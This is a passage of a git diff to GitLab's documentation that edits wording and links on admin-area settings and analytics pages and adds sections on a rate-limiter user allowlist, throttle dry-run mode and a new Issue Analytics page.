+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference
---
diff --git a/doc/user/admin_area/settings/help_page.md b/doc/user/admin_area/settings/help_page.md
index c0237c3da73..1ac54bdc037 100644
--- a/doc/user/admin_area/settings/help_page.md
+++ b/doc/user/admin_area/settings/help_page.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
---
@@ -13,7 +13,7 @@ to go for help. You can customize and display this information on the GitLab ser
## Adding a help message to the help page
-You can add a help message, which will be shown on the GitLab `/help` page (e.g.,
+You can add a help message, which is shown on the GitLab `/help` page (e.g.,
<https://gitlab.com/help>) in a new section at the top of the `/help` page:
1. Navigate to **Admin Area > Settings > Preferences**, then expand **Help page**.
@@ -27,7 +27,7 @@ You can add a help message, which will be shown on the GitLab `/help` page (e.g.
## Adding a help message to the login page **(STARTER)**
-You can add a help message, which will be shown on the GitLab login page in a new section
+You can add a help message, which is shown on the GitLab login page in a new section
titled `Need Help?`, located below the login page message:
1. Navigate to **Admin Area > Settings > Preferences**, then expand **Help page**.
diff --git a/doc/user/admin_area/settings/img/user_and_ip_rate_limits.png b/doc/user/admin_area/settings/img/user_and_ip_rate_limits.png
index 53dc0e4ac87..5056e8354a9 100644
--- a/doc/user/admin_area/settings/img/user_and_ip_rate_limits.png
+++ b/doc/user/admin_area/settings/img/user_and_ip_rate_limits.png
Binary files differ
diff --git a/doc/user/admin_area/settings/import_export_rate_limits.md b/doc/user/admin_area/settings/import_export_rate_limits.md
index 92cb2a1a109..c6b965c18d3 100644
--- a/doc/user/admin_area/settings/import_export_rate_limits.md
+++ b/doc/user/admin_area/settings/import_export_rate_limits.md
@@ -2,7 +2,7 @@
type: reference
stage: Manage
group: Import
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Project/Group Import/Export rate limits
diff --git a/doc/user/admin_area/settings/index.md b/doc/user/admin_area/settings/index.md
index 21d495de5b7..a7641ec22ca 100644
--- a/doc/user/admin_area/settings/index.md
+++ b/doc/user/admin_area/settings/index.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: index
---
@@ -34,7 +34,8 @@ Access the default page for admin area settings by navigating to **Admin Area >
| Option | Description |
| ------ | ----------- |
| [Elasticsearch](../../../integration/elasticsearch.md#enabling-advanced-search) | Elasticsearch integration. Elasticsearch AWS IAM. |
-| [PlantUML](../../../administration/integration/plantuml.md#gitlab) | Allow rendering of PlantUML diagrams in AsciiDoc documents. |
+| [Kroki](../../../administration/integration/kroki.md#enable-kroki-in-gitlab) | Allow rendering of diagrams in AsciiDoc and Markdown documents using [kroki.io](https://kroki.io). |
+| [PlantUML](../../../administration/integration/plantuml.md#gitlab) | Allow rendering of PlantUML diagrams in AsciiDoc and Markdown documents. |
| [Slack application](../../../user/project/integrations/gitlab_slack_application.md#configuration) **(FREE ONLY)** | Slack integration allows you to interact with GitLab via slash commands in a chat window. This option is only available on GitLab.com, though it may be [available for self-managed instances in the future](https://gitlab.com/gitlab-org/gitlab/-/issues/28164). |
| [Third party offers](third_party_offers.md) | Control the display of third party offers. |
| [Snowplow](../../../development/product_analytics/snowplow.md) | Configure the Snowplow integration. |
@@ -63,8 +64,8 @@ Access the default page for admin area settings by navigating to **Admin Area >
| Option | Description |
| ------ | ----------- |
| [Continuous Integration and Deployment](continuous_integration.md) | Auto DevOps, runners and job artifacts. |
-| [Required pipeline configuration](continuous_integration.md#required-pipeline-configuration) **(PREMIUM ONLY)** | Set an instance-wide auto included [pipeline configuration](../../../ci/yaml/README.md). This pipeline configuration will be run after the project's own configuration. |
-| [Package Registry](continuous_integration.md#package-registry-configuration) | Settings related to the use and experience of using GitLab's Package Registry. Note there are [risks involved](../../packages/container_registry/index.md#use-with-external-container-registries) in enabling some of these settings. |
+| [Required pipeline configuration](continuous_integration.md#required-pipeline-configuration) **(PREMIUM ONLY)** | Set an instance-wide auto included [pipeline configuration](../../../ci/yaml/README.md). This pipeline configuration is run after the project's own configuration. |
+| [Package Registry](continuous_integration.md#package-registry-configuration) | Settings related to the use and experience of using the GitLab Package Registry. Note there are [risks involved](../../packages/container_registry/index.md#use-with-external-container-registries) in enabling some of these settings. |
## Reporting
@@ -98,7 +99,7 @@ Access the default page for admin area settings by navigating to **Admin Area >
| Option | Description |
| ------ | ----------- |
-| Geo | Geo allows you to replicate your GitLab instance to other geographical locations. Redirects to **Admin Area > Geo > Settings**, and will no longer be available at **Admin Area > Settings > Geo** in [GitLab 13.0](https://gitlab.com/gitlab-org/gitlab/-/issues/36896). |
+| Geo | Geo allows you to replicate your GitLab instance to other geographical locations. Redirects to **Admin Area > Geo > Settings** are no longer available at **Admin Area > Settings > Geo** in [GitLab 13.0](https://gitlab.com/gitlab-org/gitlab/-/issues/36896). |
## Preferences
@@ -111,6 +112,6 @@ Access the default page for admin area settings by navigating to **Admin Area >
| [Gitaly timeouts](gitaly_timeouts.md) | Configure Gitaly timeouts. |
| Localization | [Default first day of the week](../../profile/preferences.md) and [Time tracking](../../project/time_tracking.md#limit-displayed-units-to-hours). |
-NOTE: **Note:**
+NOTE:
You can change the [Default first day of the week](../../profile/preferences.md) for the entire GitLab instance
in the **Localization** section of **Admin Area > Settings > Preferences**.
diff --git a/doc/user/admin_area/settings/instance_template_repository.md b/doc/user/admin_area/settings/instance_template_repository.md
index 20f2812bc39..42fa7fe6f54 100644
--- a/doc/user/admin_area/settings/instance_template_repository.md
+++ b/doc/user/admin_area/settings/instance_template_repository.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference
---
diff --git a/doc/user/admin_area/settings/project_integration_management.md b/doc/user/admin_area/settings/project_integration_management.md
index c09bb6f3c67..fe4e84b98ac 100644
--- a/doc/user/admin_area/settings/project_integration_management.md
+++ b/doc/user/admin_area/settings/project_integration_management.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Ecosystem
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Project integration management
@@ -26,7 +26,7 @@ Only the complete settings for an integration can be inherited. Per-field inheri
1. Select an integration.
1. Enter configuration details and click **Save changes**.
-CAUTION: **Caution:**
+WARNING:
This may affect all or most of the groups and projects on your GitLab instance. Please review the details
below.
@@ -59,7 +59,7 @@ integration on all non-configured groups and projects by default.
1. Select an integration.
1. Enter configuration details and click **Save changes**.
-CAUTION: **Caution:**
+WARNING:
This may affect all or most of the subgroups and projects belonging to the group. Please review the details below.
If this is the first time you are setting up group-level settings for an integration:
diff --git a/doc/user/admin_area/settings/protected_paths.md b/doc/user/admin_area/settings/protected_paths.md
index bb6fff9650d..870735f5be7 100644
--- a/doc/user/admin_area/settings/protected_paths.md
+++ b/doc/user/admin_area/settings/protected_paths.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
diff --git a/doc/user/admin_area/settings/push_event_activities_limit.md b/doc/user/admin_area/settings/push_event_activities_limit.md
index cf23ea12ef4..484bb7b0a14 100644
--- a/doc/user/admin_area/settings/push_event_activities_limit.md
+++ b/doc/user/admin_area/settings/push_event_activities_limit.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference
---
diff --git a/doc/user/admin_area/settings/rate_limit_on_issues_creation.md b/doc/user/admin_area/settings/rate_limit_on_issues_creation.md
index 3f8ef7c9d01..30cc64ccaa0 100644
--- a/doc/user/admin_area/settings/rate_limit_on_issues_creation.md
+++ b/doc/user/admin_area/settings/rate_limit_on_issues_creation.md
@@ -2,7 +2,7 @@
type: reference
stage: Plan
group: Project Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Rate limits on issue creation
diff --git a/doc/user/admin_area/settings/rate_limits_on_raw_endpoints.md b/doc/user/admin_area/settings/rate_limits_on_raw_endpoints.md
index 96cd71033d0..9ffd46e9ba6 100644
--- a/doc/user/admin_area/settings/rate_limits_on_raw_endpoints.md
+++ b/doc/user/admin_area/settings/rate_limits_on_raw_endpoints.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -12,7 +12,7 @@ type: reference
This setting allows you to rate limit the requests to raw endpoints, defaults to `300` requests per minute.
It can be modified in **Admin Area > Settings > Network > Performance Optimization**.
-For example, requests over `300` per minute to `https://gitlab.com/gitlab-org/gitlab-foss/raw/master/app/controllers/application_controller.rb` will be blocked. Access to the raw file will be released after 1 minute.
+For example, requests over `300` per minute to `https://gitlab.com/gitlab-org/gitlab-foss/raw/master/app/controllers/application_controller.rb` are blocked. Access to the raw file is released after 1 minute.
![Rate limits on raw endpoints](img/rate_limits_on_raw_endpoints.png)
diff --git a/doc/user/admin_area/settings/sign_in_restrictions.md b/doc/user/admin_area/settings/sign_in_restrictions.md
index 7ab1d396e8b..92ad8eced95 100644
--- a/doc/user/admin_area/settings/sign_in_restrictions.md
+++ b/doc/user/admin_area/settings/sign_in_restrictions.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -25,9 +25,9 @@ You can restrict the password authentication for web interface and Git over HTTP
## Two-factor authentication
-When this feature enabled, all users will have to use the [two-factor authentication](../../profile/account/two_factor_authentication.md).
+When this feature enabled, all users must use the [two-factor authentication](../../profile/account/two_factor_authentication.md).
-Once the two-factor authentication is configured as mandatory, the users will be allowed
+Once the two-factor authentication is configured as mandatory, the users are allowed
to skip forced configuration of two-factor authentication for the configurable grace
period in hours.
@@ -44,13 +44,13 @@ see [Email notification for unknown sign-ins](../../profile/unknown_sign_in_noti
## Sign-in information
-All users that are not logged-in will be redirected to the page represented by the configured
-"Home page URL" if value is not empty.
+All users that are not logged in are redirected to the page represented by the configured
+**Home page URL** if value is not empty.
-All users will be redirect to the page represented by the configured "After sign out path"
+All users are redirected to the page represented by the configured **After sign out path**
after sign out if value is not empty.
-In the Sign-in restrictions section, scroll to the "Sign-in text" text box. You can add a
+In the **Sign-in restrictions** section, scroll to the **Sign-in text** field. You can add a
custom message for your users in Markdown format.
For example, if you include the following information in the noted text box:
@@ -61,7 +61,7 @@ For example, if you include the following information in the noted text box:
To access this text box, navigate to Admin Area > Settings > General, and expand the "Sign-in restrictions" section.
```
-Your users will see the "Custom sign-in text" when they navigate to the sign-in screen for your
+Your users see the **Custom sign-in text** when they navigate to the sign-in screen for your
GitLab instance:
![Sign-in page](img/custom_sign_in_page_v13_6.png)
diff --git a/doc/user/admin_area/settings/sign_up_restrictions.md b/doc/user/admin_area/settings/sign_up_restrictions.md
index 5ea034ff4d2..213c8c4116a 100644
--- a/doc/user/admin_area/settings/sign_up_restrictions.md
+++ b/doc/user/admin_area/settings/sign_up_restrictions.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -51,10 +51,13 @@ To enforce confirmation of the email address used for new sign ups:
> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/4315) in GitLab 13.6.
-When the number of users reaches the user cap, any user who is added or requests access must be
+When the number of billable users reaches the user cap, any user who is added or requests access must be
[approved](../approving_users.md#approving-a-user) by an administrator before they can start using
their account.
+If an administrator increases or removes the user cap, the users in pending approval state will be
+automatically approved in a background job.
+
## Soft email confirmation
> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/47003) in GitLab 12.2.
@@ -63,7 +66,7 @@ their account.
> - It's recommended for production use.
> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-soft-email-confirmation).
-CAUTION: **Warning:**
+WARNING:
This feature might not be available to you. Check the **version history** note above for details.
The soft email confirmation improves the signup experience for new users by allowing
diff --git a/doc/user/admin_area/settings/terms.md b/doc/user/admin_area/settings/terms.md
index 95c32af5716..b6826035116 100644
--- a/doc/user/admin_area/settings/terms.md
+++ b/doc/user/admin_area/settings/terms.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -29,7 +29,7 @@ To enforce acceptance of a Terms of Service and Privacy Policy:
![Enable enforcing Terms of Service](img/enforce_terms.png)
For each update to the terms, a new version is stored. When a user accepts or declines the terms,
-GitLab will record which version they accepted or declined.
+GitLab records which version they accepted or declined.
## New users
@@ -37,28 +37,28 @@ When this feature is enabled, a checkbox is added to the sign-up form.
![Sign up form](img/sign_up_terms.png)
-This checkbox will be required during sign up.
+This checkbox is required during sign up.
Users can review the terms entered in the admin panel before
-accepting. The page will be opened in a new window so they can
+accepting. The page is opened in a new window so they can
continue their registration afterwards.
## Accepting terms
When this feature is enabled, the users that have not accepted the
-terms of service will be presented with a screen where they can either
+terms of service are presented with a screen where they can either
accept or decline the terms.
![Respond to terms](img/respond_to_terms.png)
-If the user accepts the terms, they will be directed to where they
-were going. After a sign-in or sign-up this will most likely be the
+If the user accepts the terms, they are directed to where they
+were going. After a sign-in or sign-up this is most likely the
dashboard.
If the user was already logged in when the feature was turned on,
-they will be asked to accept the terms on their next interaction.
+they are asked to accept the terms on their next interaction.
-If a user declines the terms, they will be signed out.
+If a user declines the terms, they are signed out.
<!-- ## Troubleshooting
diff --git a/doc/user/admin_area/settings/third_party_offers.md b/doc/user/admin_area/settings/third_party_offers.md
index f0e53115cb1..84511339842 100644
--- a/doc/user/admin_area/settings/third_party_offers.md
+++ b/doc/user/admin_area/settings/third_party_offers.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
diff --git a/doc/user/admin_area/settings/usage_statistics.md b/doc/user/admin_area/settings/usage_statistics.md
index d4080b3921a..02b1428177f 100644
--- a/doc/user/admin_area/settings/usage_statistics.md
+++ b/doc/user/admin_area/settings/usage_statistics.md
@@ -1,13 +1,13 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
# Usage statistics **(CORE ONLY)**
-GitLab Inc. will periodically collect information about your instance in order
+GitLab Inc. periodically collects information about your instance in order
to perform various actions.
All statistics are opt-out. You can enable/disable them in the
@@ -22,7 +22,7 @@ If your GitLab instance is behind a proxy, set the appropriate [proxy configurat
## Version Check **(CORE ONLY)**
-If enabled, version check will inform you if a new version is available and the
+If enabled, version check informs you if a new version is available and the
importance of it through a status. This is shown on the help page (i.e. `/help`)
for all signed in users, and on the admin pages. The statuses are:
@@ -37,10 +37,10 @@ GitLab Inc. collects your instance's version and hostname (through the HTTP
referer) as part of the version check. No other information is collected.
This information is used, among other things, to identify to which versions
-patches will need to be backported, making sure active GitLab instances remain
+patches must be backported, making sure active GitLab instances remain
secure.
-If you disable version check, this information will not be collected. Enable or
+If you disable version check, this information isn't collected. Enable or
disable the version check in **Admin Area > Settings > Metrics and profiling > Usage statistics**.
### Request flow example
@@ -65,8 +65,8 @@ See [Usage Ping guide](../../../development/product_analytics/usage_ping.md).
## Instance-level statistics **(CORE ONLY)**
-Once usage ping is enabled, GitLab will gather data from other instances and
-will be able to show [usage statistics](../analytics/index.md)
+After usage ping is enabled, GitLab gathers data from other instances and
+can show [usage statistics](../analytics/index.md)
of your instance to your admins in **Admin Area > Analytics**.
<!-- ## Troubleshooting
diff --git a/doc/user/admin_area/settings/user_and_ip_rate_limits.md b/doc/user/admin_area/settings/user_and_ip_rate_limits.md
index af3e0c5b63b..3f0d75dc682 100644
--- a/doc/user/admin_area/settings/user_and_ip_rate_limits.md
+++ b/doc/user/admin_area/settings/user_and_ip_rate_limits.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -53,12 +53,70 @@ users to not set that header and bypass the GitLab rate limiter.
Note that the bypass only works if the header is set to `1`.
Requests that bypassed the rate limiter because of the bypass header
-will be marked with `"throttle_safelist":"throttle_bypass_header"` in
+are marked with `"throttle_safelist":"throttle_bypass_header"` in
[`production_json.log`](../../../administration/logs.md#production_jsonlog).
To disable the bypass mechanism, make sure the environment variable
`GITLAB_THROTTLE_BYPASS_HEADER` is unset or empty.
+## Allowing specific users to bypass authenticated request rate limiting
+
+Similarly to the bypass header described above, it is possible to allow
+a certain set of users to bypass the rate limiter. This only applies
+to authenticated requests: with unauthenticated requests, by definition
+GitLab does not know who the user is.
+
+The allowlist is configured as a comma-separated list of user IDs in
+the `GITLAB_THROTTLE_USER_ALLOWLIST` environment variable. If you want
+users 1, 53 and 217 to bypass the authenticated request rate limiter,
+the allowlist configuration would be `1,53,217`.
+
+- For [Omnibus](https://docs.gitlab.com/omnibus/settings/environment-variables.html),
+ set `'GITLAB_THROTTLE_USER_ALLOWLIST' => '1,53,217'` in `gitlab_rails['env']`.
+- For source installations, set `export GITLAB_THROTTLE_USER_ALLOWLIST=1,53,217`
+ in `/etc/default/gitlab`.
+
+Requests that bypassed the rate limiter because of the user allowlist
+are marked with `"throttle_safelist":"throttle_user_allowlist"` in
+[`production_json.log`](../../../administration/logs.md#production_jsonlog).
+
+At application startup, the allowlist is logged in [`auth.log`](../../../administration/logs.md#authlog).
+
+## Trying out throttling settings before enforcing them
+
+> [Introduced](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/629) in GitLab 13.6.
+
+Trying out throttling settings can be done by setting the
+`GITLAB_THROTTLE_DRY_RUN` environment variable to a comma-separated
+list of throttle names.
+
+The possible names are:
+
+- `throttle_unauthenticated`
+- `throttle_authenticated_api`
+- `throttle_authenticated_web`
+- `throttle_unauthenticated_protected_paths`
+- `throttle_authenticated_protected_paths_api`
+- `throttle_authenticated_protected_paths_web`
+
+For example: trying out throttles for all authenticated requests to
+non-protected paths could be done by setting
+`GITLAB_THROTTLE_DRY_RUN='throttle_authenticated_web,throttle_authenticated_api'`.
+
+To enable the dry-run mode for all throttles, the variable can be set
+to `*`.
+
+Setting a throttle to dry-run mode will log a message to the
+[`auth.log`](../../../administration/logs.md#authlog) when it would
+hit the limit, while letting the request continue as normal. The log
+message will contain an `env` field set to `track`. The `matched`
+field will contain the name of throttle that was hit.
+
+It is important to set the environment variable **before** enabling
+the rate limiting in the settings. The settings in the admin panel
+take effect immediately, while setting the environment variable
+requires a restart of all the Puma processes.
+
<!-- ## Troubleshooting
Include any troubleshooting steps that you can foresee. If you know beforehand what issues
diff --git a/doc/user/admin_area/settings/visibility_and_access_controls.md b/doc/user/admin_area/settings/visibility_and_access_controls.md
index 3740dc95c12..fe1841e7020 100644
--- a/doc/user/admin_area/settings/visibility_and_access_controls.md
+++ b/doc/user/admin_area/settings/visibility_and_access_controls.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference
---
@@ -43,7 +43,7 @@ To do this:
1. Uncheck the **Allow owners to manage default branch protection per group** checkbox.
-NOTE: **Note:**
+NOTE:
GitLab administrators can still update the default branch protection of a group.
## Default project creation protection
@@ -74,7 +74,7 @@ To ensure only admin users can delete projects:
By default, a project marked for deletion will be permanently removed with immediate effect.
By default, a group marked for deletion will be permanently removed after 7 days.
-CAUTION: **Warning:**
+WARNING:
The default behavior of [Delayed Project deletion](https://gitlab.com/gitlab-org/gitlab/-/issues/32935) in GitLab 12.6 was changed to
[Immediate deletion](https://gitlab.com/gitlab-org/gitlab/-/issues/220382) in GitLab 13.2.
@@ -151,7 +151,7 @@ For more details, see [Exporting a project and its data](../../../user/project/s
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/4696) in GitLab 8.10.
-With GitLab's access restrictions, you can select with which protocols users can communicate with
+With GitLab access restrictions, you can select with which protocols users can communicate with
GitLab.
Disabling an access protocol does not block access to the server itself via those ports. The ports
@@ -180,7 +180,7 @@ When only one protocol is enabled:
On top of these UI restrictions, GitLab will deny all Git actions on the protocol
not selected.
-CAUTION: **Important:**
+WARNING:
Starting with [GitLab 10.7](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/18021),
HTTP(S) protocol will be allowed for Git clone or fetch requests done by GitLab Runner
from CI/CD jobs, even if _Only SSH_ was selected.
@@ -208,7 +208,7 @@ To specify a custom Git clone URL for HTTP(S):
1. Enter a root URL for **Custom Git clone URL for HTTP(S)**.
1. Click on **Save changes**.
-NOTE: **Note:**
+NOTE:
SSH clone URLs can be customized in `gitlab.rb` by setting `gitlab_rails['gitlab_ssh_host']` and
other related settings.
diff --git a/doc/user/admin_area/user_cohorts.md b/doc/user/admin_area/user_cohorts.md
index ec0153ac3b6..a95501c0bde 100644
--- a/doc/user/admin_area/user_cohorts.md
+++ b/doc/user/admin_area/user_cohorts.md
@@ -3,3 +3,6 @@ redirect_to: 'analytics/user_cohorts.md'
---
This document was moved to [another location](analytics/user_cohorts.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/analytics/code_review_analytics.md b/doc/user/analytics/code_review_analytics.md
index dc956765794..745774480b0 100644
--- a/doc/user/analytics/code_review_analytics.md
+++ b/doc/user/analytics/code_review_analytics.md
@@ -1,8 +1,8 @@
---
description: "Learn how long your open merge requests have spent in code review, and what distinguishes the longest-running." # Up to ~200 chars long. They will be displayed in Google Search snippets. It may help to write the page intro first, and then reuse it here.
stage: Manage
-group: Value Stream Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Optimize
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
@@ -16,7 +16,7 @@ enables you to:
1. Take action on individual merge requests.
1. Reduce overall cycle time.
-NOTE: **Note:**
+NOTE:
Initially, no data appears. Data is populated as users comment on open merge requests.
## Overview
@@ -37,7 +37,7 @@ The table is sorted by:
## Use cases
-This feature is designed for [development team leaders](https://about.gitlab.com/handbook/marketing/product-marketing/roles-personas/#delaney-development-team-lead)
+This feature is designed for [development team leaders](https://about.gitlab.com/handbook/marketing/strategic-marketing/roles-personas/#delaney-development-team-lead)
and others who want to understand broad code review dynamics, and identify patterns to explain them.
You can use Code Review Analytics to:
diff --git a/doc/user/analytics/cycle_analytics.md b/doc/user/analytics/cycle_analytics.md
index 9d1cc508f63..5c235f6708b 100644
--- a/doc/user/analytics/cycle_analytics.md
+++ b/doc/user/analytics/cycle_analytics.md
@@ -3,3 +3,6 @@ redirect_to: '../analytics/value_stream_analytics.md'
---
This document was moved to [another location](../analytics/value_stream_analytics.md)
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/analytics/img/issues_created_per_month_v12_8.png b/doc/user/analytics/img/issues_created_per_month_v12_8.png
new file mode 100644
index 00000000000..fccfa949779
--- /dev/null
+++ b/doc/user/analytics/img/issues_created_per_month_v12_8.png
Binary files differ
diff --git a/doc/user/analytics/img/issues_table_v13_1.png b/doc/user/analytics/img/issues_table_v13_1.png
new file mode 100644
index 00000000000..3e8a729a884
--- /dev/null
+++ b/doc/user/analytics/img/issues_table_v13_1.png
Binary files differ
diff --git a/doc/user/analytics/index.md b/doc/user/analytics/index.md
index 29df25d76af..adfd09d8526 100644
--- a/doc/user/analytics/index.md
+++ b/doc/user/analytics/index.md
@@ -1,7 +1,7 @@
---
stage: Manage
-group: Value Stream Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Optimize
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Analytics
diff --git a/doc/user/analytics/issue_analytics.md b/doc/user/analytics/issue_analytics.md
new file mode 100644
index 00000000000..0aa135ab88d
--- /dev/null
+++ b/doc/user/analytics/issue_analytics.md
@@ -0,0 +1,45 @@
+---
+type: reference
+stage: Manage
+group: Optimize
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Issue Analytics **(PREMIUM)**
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/196561) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.9.
+
+Issue Analytics is a bar graph which illustrates the number of issues created each month.
+The default timespan is 13 months, which includes the current month, and the 12 months
+prior.
+
+To access the chart, navigate to your project sidebar and select **{chart}** **Analytics > Issue Analytics**.
+
+Hover over each bar to see the total number of issues.
+
+To narrow the scope of issues included in the graph, enter your criteria in the
+**Search or filter results...** field. Criteria from the following list can be typed in or selected from a menu:
+
+- Author
+- Assignee
+- Milestone
+- Label
+- My reaction
+- Weight
+
+You can change the total number of months displayed by setting a URL parameter.
+For example, `https://gitlab.com/groups/gitlab-org/-/issues_analytics?months_back=15`
+shows a total of 15 months for the chart in the GitLab.org group.
+
+![Issues created per month](img/issues_created_per_month_v12_8.png)
+
+## Drill into the information
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/196547) in GitLab 13.1.
+
+You can examine details of individual issues by browsing the table
+located below the chart.
+
+The chart displays the top 100 issues based on the global page filters.
+
+![Issues table](img/issues_table_v13_1.png)
diff --git a/doc/user/analytics/merge_request_analytics.md b/doc/user/analytics/merge_request_analytics.md
index 5402d9a20a0..c0fe19f1f16 100644
--- a/doc/user/analytics/merge_request_analytics.md
+++ b/doc/user/analytics/merge_request_analytics.md
@@ -1,8 +1,8 @@
---
description: "Merge Request Analytics help you understand the efficiency of your code review process, and the productivity of your team." # Up to ~200 chars long. They will be displayed in Google Search snippets. It may help to write the page intro first, and then reuse it here.
stage: Manage
-group: Value Stream Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Optimize
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Merge Request Analytics **(STARTER)**
@@ -23,7 +23,7 @@ To access Merge Request Analytics, from your project's menu, go to **Analytics >
## Use cases
